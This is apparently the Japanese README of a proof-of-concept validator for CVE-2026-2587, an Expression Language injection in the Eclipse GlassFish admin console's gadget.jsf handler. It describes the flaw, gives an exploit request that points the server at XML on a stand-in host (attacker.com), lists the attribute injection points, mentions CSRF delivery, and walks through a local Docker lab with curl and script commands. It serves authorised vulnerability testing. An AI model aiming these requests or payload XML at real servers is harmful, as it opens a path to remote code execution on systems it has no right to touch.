CVE-2026-2587 PoCバリデーター - Eclipse GlassFishの管理コンソールのgadget.jsfハンドラにおけるELインジェクションRCE用。許可されたテストのための安全な認証済み脆弱性スキャナー。
CVE-2026-2587 の安全な PoC 検証ツールです。これは、Eclipse GlassFish の管理コンソールガジェット処理(/common/gadgets/gadget.jsf)に影響する重大な EL インジェクション / RCE 問題です。
このツールは、セキュリティチームが承認された環境で、良性の算術 EL カナリアを使用して GlassFish CVE-2026-2587 の露出を検証するのに役立ちます。
割り当て元: Eclipse Foundation (CNA) · 公開日: 2026年5月19日 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Expression Language Injection 影響を受けるバージョン: 2026年5月21日時点の公開アドバイザリでは不明 パッチ適用済みバージョン: 2026年5月21日時点の公開アドバイザリでは不明 スキャナールール: バージョンはルーティング/レポートコンテキストのみ; 判定には証明が必要です。
GlassFish 管理コンソールガジェットハンドラに重大なリモートコード実行の脆弱性が存在します。アプリケーションは、gadget= クエリパラメータを介して指定されたURLからフェッチされた .xml ファイルを処理し、Java Expression Language (EL) エンジンを通じて、サニタイズやエスケープなしに <ModulePrefs> 属性内のユーザー入力値を評価します。```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
XMLが`<ModulePrefs title="">`属性内に`#{7*7}`を含む場合、GlassFishはサーバーサイドでそれを評価し`49`を返します—EL実行を確認します。ELがJavaランタイムにアクセスすることで、完全なRCEチェーンが続きます。
現在の公開アドバイザリレコードは、影響を受けるバージョンやパッチ適用済みバージョンの境界を公開していません。したがって、このバリデーターは証明ファーストです:GlassFishのフィンガープリントを取得し、バージョンメタデータを報告しますが、バージョン文字列のみからターゲットを脆弱と分類することはありません。
---
## 動作原理

安全な検証パスは、良性のXMLプローブをホストし、認証済みの管理コンソールリクエストを`gadget.jsf`に送信し、GlassFishにコールバックURLからそのXMLをフェッチさせ、`<ModulePrefs title="">`カナリアが`#{7*7}`から`49`に評価されるかどうかを確認します。
**インジェクションポイントの確認有無:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| シナリオ | 認証が必要か? |
|---|---|
gadget.jsf への直接アクセス | はい — FORM認証、200ログインページ |
| 実際のCSRF攻撃 | いいえ — 管理者のライブセッションを悪用 |
| このバリデータ | はい — --cookie または --username/--password |
| 未認証の暴露チェック | いいえ — スクリプトが自動的にテスト |
CVSSベクトル PR:N / UI:R の意味:
PR:N — 攻撃者は自身の認証情報が不要UI:R — ログイン済みの管理者が操作する必要あり(CSRF配信)ラボでの検証では、CSRFを完全にスキップ — 自分の管理者セッションを直接使用してください。
必要条件: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**リポジトリの内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
注意: GHSAは依然として影響を受けるバージョンと修正済みバージョンを不明としてリストしています。
omnifish/glassfish:7.0.15は有力なラボ候補ですが、脆弱性が保証されたビルドではありません。 検証プリミティブは算術カナリアのままです:#{7*7}が49と評価される場合、EL がアクティブです。
docker compose -f docker-compose.lab.yml up
GlassFish 7.0.15を起動し、ポートは`127.0.0.1`のみにバインドされ、
`host.docker.internal`が事前に設定されているため、コンテナはローカルのXMLサーバーに到達できます。
### オプション B — 最小限の docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
管理コンソール: https://localhost:4848 · ログイン: admin / admin
(自己署名証明書 — ブラウザの警告は想定内です。)
2つ目のターミナルで:```bash
python3 -m http.server 8000 --bind 0.0.0.0
コンテナの視点から到達可能性を確認してください:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
まず管理コンソールにログインしてください(ブラウザセッションまたは --cookie を使用)。その後:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| 出力 | 意味 |
|---|---|
| `CVE2587_TITLE_49_END` | **脆弱** — `ModulePrefs title` 内でELが評価される |
| `CVE2587_BODY_49_END` | **脆弱** — CDATA本体でELが評価される |
| `CVE2587_TITLE_#{7*7}_END` | 脆弱ではない / ELは評価されない |
| *(no output)* | GlassFishがXMLを取得しなかった — コールバックの到達可能性を確認 |
> CDATA本体は通常、脆弱なビルドでもそのまま残ります。`TITLE`の結果が正であれば、それだけで発見を確認するのに十分です。
---
### ローカルラボに対する自動検証```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
リポジトリには、すぐに使えるprobe.xmlが同梱されています。新しいものをいつでも生成することもできます — これは、カスタムカナリアプレフィックスやランダム化された値を使用して、プローブをエンゲージメントごとにユニークにしたい場合に便利です。```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
ファイルに書き込んだ後の出力:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
GlassFishがローカルまたは同一マシン上のDockerで実行されている場合に使用します。
管理者コンソールにログインした状態で、ブラウザのDevTools → Application → CookiesからJSESSIONIDを取得し、次のようにします:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose